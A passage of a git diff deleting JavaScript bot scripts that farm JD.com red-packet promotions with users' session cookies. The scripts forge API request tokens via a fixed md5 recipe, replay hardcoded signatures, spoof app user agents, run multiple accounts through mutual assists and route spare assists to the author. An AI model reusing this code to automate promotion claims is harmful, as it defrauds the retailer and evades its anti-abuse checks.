console.log(`\n\n当前待拆红包ID:${$.h5activityIndex.data.result.redpacketInfo.id},进度:再邀${$.h5activityIndex.data.result.redpacketConfigFillRewardInfo[$.hasSendNumber].requireAssistNum - $.h5activityIndex.data.result.redpacketConfigFillRewardInfo[$.hasSendNumber].hasAssistNum}个好友,开第${$.hasSendNumber + 1}个红包。当前已拆红包:${$.hasSendNumber}个,剩余${$.h5activityIndex.data.result.remainRedpacketNumber}个红包待开,已有${$.assistants}好友助力\n\n`) - console.log(`当前可拆红包个数:${$.waitOpenTimes}`) - if ($.waitOpenTimes > 0) { - for (let i = 0; i < $.waitOpenTimes; i++) { - await h5receiveRedpacketAll(); - await $.wait(500); - } - } - } else if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.biz_code === 20002) { - console.log(`\n${$.h5activityIndex.data.biz_msg}\n`); - } -} -//获取任务列表API -function taskHomePage() { - return new Promise((resolve) => { - $.post(taskUrl(arguments.callee.name.toString(), {"clientInfo":{}}), (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - $.taskHomePageData = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//领取任务API,需token -function startTask(taskType) { - // 从taskHomePage返回的数据里面拿taskType - let data = {taskType}; - data['token'] = $.md5($.md5("j" + JSON.stringify(data) + "D")) - return new Promise((resolve) => { - $.post(taskUrl(arguments.callee.name.toString(), data), (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - console.log(`领取任务:${data}`) - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -//做任务fun -async function active(taskType) { - const getTaskDetailForColorRes = await getTaskDetailForColor(taskType); - if (getTaskDetailForColorRes && getTaskDetailForColorRes.code === 0) { - if (getTaskDetailForColorRes.data && getTaskDetailForColorRes.data.result) { - const { advertDetails } = getTaskDetailForColorRes.data.result; - for (let item of advertDetails) { - await $.wait(1000); - if (item.id && item.status === 0) { - await taskReportForColor(taskType, item.id); - } - } - } else { - console.log(`任务列表为空,手动进入app内检查 是否存在[从京豆首页进领券中心逛30秒]的任务,如存在,请手动完成再运行脚本`) - $.msg(`${$.name}`, '', '手动进入app内检查\n是否存在[从京豆首页进领券中心逛30秒]的任务\n如存在,请手动完成再运行脚本'); - if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `执行脚本出现异常\n请手动进入app内检查\n是否存在[从京豆首页进领券中心逛30秒]的任务\n如存在,请手动完成再运行脚本`) - } - } else { - console.log(`---具体任务详情---${JSON.stringify(getTaskDetailForColorRes)}`); - } -} - -//获取具体任务详情API -function getTaskDetailForColor(taskType) { - const data = {"clientInfo":{}, taskType}; - return new Promise((resolve) => { - $.post(taskUrl(arguments.callee.name.toString(), data), (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - // console.log('getTaskDetailForColor', data); - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//做成任务API -function taskReportForColor(taskType, detailId) { - const data = {taskType, detailId}; - data['token'] = $.md5($.md5("j" + JSON.stringify(data) + "D")) - //console.log(`活动id:::${detailId}\n`) - return new Promise((resolve) => { - $.post(taskUrl(arguments.callee.name.toString(), data), (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - // console.log(`taskReportForColor`, data); - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//领取做完任务后的红包 -function receiveTaskRedpacket(taskType) { - const body = {"clientInfo":{}, taskType}; - return new Promise((resolve) => { - $.post(taskUrl('h5receiveRedpacketAll', body), (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - if (data.data.success && data.data.biz_code === 0) { - console.log(`红包领取成功,获得${data.data.result.discount}元\n`) - $.discount += Number(data.data.result.discount); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//助力API -function jinli_h5assist(redPacketId) { - //一个人一天只能助力两次,助力码redPacketId 每天都变 - const body = {"clientInfo":{},redPacketId,"followShop":0,"promUserState":""}; - const options = taskUrl(arguments.callee.name.toString(), body) - return new Promise((resolve) => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - if (data && data.data && data.data.biz_code === 0) { - // status ,0:助力成功,1:不能重复助力,3:助力次数耗尽,8:不能为自己助力 - console.log(`助力结果:${data.data.result.statusDesc}`) - if (data.data.result.status === 2) $.max = true; - if (data.data.result.status === 3) $.canHelp = false; - if (data.data.result.status === 9) $.canHelp = false; - } else { - console.log(`助力异常:${JSON.stringify(data)}`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -//领取红包API -function h5receiveRedpacketAll() { - const options = taskUrl(arguments.callee.name.toString(), {"clientInfo":{}}) - return new Promise((resolve) => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - if (data && data.data && data.data.biz_code === 0) { - console.log(`拆红包获得:${data.data.result.discount}元`) - } else { - console.log(`领红包失败:${JSON.stringify(data)}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//发起助力红包API -function h5launch() { - const body = {"clientInfo":{},"followShop":0,"promUserState":""}; - const options = taskUrl(arguments.callee.name.toString(), body) - return new Promise((resolve) => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - if (data && data.data && data.data.biz_code === 0) { - if (data.data.result.redPacketId) { - console.log(`\n\n发起助力红包 成功:红包ID ${data.data.result.redPacketId}`) - $.redPacketId.push(data.data.result.redPacketId); - } else { - console.log(`\n\n发起助力红包 失败:${data.data.result.statusDesc}`) - } - } else { - console.log(`发起助力红包 失败:${JSON.stringify(data)}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function h5activityIndex() { - const body = {"clientInfo":{},"isjdapp":1}; - const options = taskUrl(arguments.callee.name.toString(), body); - return new Promise((resolve) => { - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - $.h5activityIndex = data; - $.discount = 0; - if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.result) { - const rewards = $.h5activityIndex.data.result.rewards || []; - for (let item of rewards) { - $.discount += item.packetSum; - } - if ($.discount) $.discount = $.discount.toFixed(2); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -async function doAppTask(type = '1') { - let body = { - "pageClickKey": "CouponCenter", - "childActivityUrl": "openapp.jdmobile%3a%2f%2fvirtual%3fparams%3d%7b%5c%22category%5c%22%3a%5c%22jump%5c%22%2c%5c%22des%5c%22%3a%5c%22couponCenter%5c%22%7d", - "lat": "", - "globalLat": "", - "lng": "", - "globalLng": "" - } - await getCcTaskList('getCcTaskList', body, type); - body = { - "globalLng": "", - "globalLat": "", - "monitorSource": "ccgroup_ios_index_task", - "monitorRefer": "", - "taskType": "1", - "childActivityUrl": "openapp.jdmobile%3a%2f%2fvirtual%3fparams%3d%7b%5c%22category%5c%22%3a%5c%22jump%5c%22%2c%5c%22des%5c%22%3a%5c%22couponCenter%5c%22%7d", - "pageClickKey": "CouponCenter", - "lat": "", - "taskId": "727", - "lng": "", - } - await $.wait(10500); - await getCcTaskList('reportCcTask', body, type); -} -function getCcTaskList(functionId, body, type = '1') { - let url = ''; - return new Promise(resolve => { - if (functionId === 'getCcTaskList') { - url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1617158358007&sign=a15f78e5846f9b0178dcabb1093a6a7f&sv=100` - } else if (functionId === 'reportCcTask') { - url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1617158435079&sign=7eff07437dd817dbfa348c209fd5c129&sv=120` - } - const options = { - url, - body: `body=${escape(JSON.stringify(body))}`, - headers: { - "Accept": "application/json, text/plain, */*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Length": "63", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Origin": "https://h5.m.jd.com", - "Cookie": cookie, - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/4ZK4ZpvoSreRB92RRo8bpJAQNoTq/index.html", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - // data = JSON.parse(data); - if (type === '1' && functionId === 'reportCcTask') console.log(`京东首页点击“领券”逛10s任务:${data}`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getAuthorShareCode(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function taskUrl(functionId, body = {}) { - return { - url: `${JD_API_HOST}?appid=jinlihongbao&functionId=${functionId}&loginType=2&client=jinlihongbao&clientVersion=10.1.0&osVersion=iOS&d_brand=iPhone&d_model=iPhone&t=${new Date().getTime() * 1000}`, - body: `body=${escape(JSON.stringify(body))}`, - headers: { - "Host": "api.m.jd.com", - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://happy.m.jd.com", - "Accept-Encoding": "gzip, deflate, br", - "Cookie": cookie, - "Connection": "keep-alive", - "Accept": "*/*", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Referer": "https://happy.m.jd.com/babelDiy/zjyw/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html", - "Content-Length": "56", - "Accept-Language": "zh-cn" - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 1001) { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// md5 -!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_redPacket_help.js b/backUp/jd_redPacket_help.js deleted file mode 100644 index 8d9dfd3..0000000 --- a/backUp/jd_redPacket_help.js +++ /dev/null @@ -1,695 +0,0 @@ -/* -京东全民开红包 -Last Modified time: 2021-05-19 16:27:18 -活动入口:京东APP首页-领券-锦鲤红包。[活动地址](https://happy.m.jd.com/babelDiy/zjyw/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html) -未实现功能:领3张券功能 - -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -================QuantumultX================== -[task_local] -#京东全民开红包 -1 0,10 * * * https://raw.githubusercontent.com/okyyds/yydspure/master/jd_redPacket.js, tag=京东全民开红包, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true -===================Loon============== -[Script] -cron "1 0,10 * * *" script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_redPacket.js, tag=京东全民开红包 -===============Surge=============== -[Script] -京东全民开红包 = type=cron,cronexp="1 0,10 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_redPacket.js -====================================小火箭============================= -京东全民开红包 = type=cron,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_redPacket.js, cronexpr="1 0,10 * * *", timeout=3600, enable=true - */ -const $ = new Env('京东全民开红包内部助力'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; -let isLoginInfo = {} -$.redPacketId = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/api'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - let res = await getAuthorShareCode('') - $.authorMyShareIds = [...(res || [])]; - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - isLoginInfo[$.UserName] = $.isLogin - console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.discount = 0; - await redPacket(); - await showMsg(); - } - } - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.index = i + 1; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.canHelp = true; - $.redPacketId = [...new Set($.redPacketId)]; - if (!isLoginInfo[$.UserName]) continue - if (cookiesArr && cookiesArr.length >= 2) { - console.log(`\n\n自己账号内部互助`); - for (let j = 0; j < $.redPacketId.length && $.canHelp; j++) { - console.log(`账号 ${$.index} ${$.UserName} 开始给 ${$.redPacketId[j]} 进行助力`) - $.max = false; - await jinli_h5assist($.redPacketId[j]); - await $.wait(15000) - if ($.max) { - $.redPacketId.splice(j, 1) - j-- - continue - } - } - } - if ($.canHelp && ($.authorMyShareIds && $.authorMyShareIds.length)) { - console.log(`\n\n有剩余助力机会则给作者进行助力`); - for (let j = 0; j < $.authorMyShareIds.length && $.canHelp; j++) { - console.log(`\n账号 ${$.index} ${$.UserName} 开始给作者 ${$.authorMyShareIds[j]} 进行助力`) - $.max = false; - await jinli_h5assist($.authorMyShareIds[j]); - await $.wait(15000) - if ($.max) { - $.authorMyShareIds.splice(j, 1) - j-- - continue - } - } - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function redPacket() { - try { - //await doLuckDrawFun();//券后9.9抽奖 - //await taskHomePage();//查询任务列表 - //await doTask();//领取任务,做任务,领取红包奖励 - await h5activityIndex();//查询红包基础信息 - await red();//红包任务(发起助力红包,领取助力红包等) - await h5activityIndex(); - } catch (e) { - $.logErr(e); - } -} -function showMsg() { - console.log(`\n\n${$.name}获得红包:${$.discount}元\n\n`); - // $.msg($.name, '', `${$.name}:${$.discount}元`) -} -async function doLuckDrawFun() { - for (let i = 0; i < 3; i++) { - await doLuckDrawEntrance(); - } -} -function doLuckDrawEntrance() { - return new Promise(resolve => { - const options = { - url: 'https://api.m.jd.com/client.action?functionId=doLuckDrawEntrance&body=%7B%22platformType%22%3A%221%22%7D&appid=XPMSGC2019&client=m&clientVersion=1.0.0&area=19_1601_50258_62858&geo=%5Bobject%20Object%5D&uuid=88732f840b77821b345bf07fd71f609e6ff12f43', - headers: { - "Host": "api.m.jd.com", - "Origin": "https://h5.m.jd.com", - "Cookie": cookie, - "Content-Length": "0", - "Connection": "keep-alive", - "Accept": "application/json, text/plain, */*", - "User-Agent": "jdapp;iPhone;9.5.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;model/iPhone11,8;addressid/2005183373;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - "Accept-Language": "zh-cn", - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/yj8mbcm6roENn7qhNdhiekyeqtd/index.html", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.post(options, async (err, 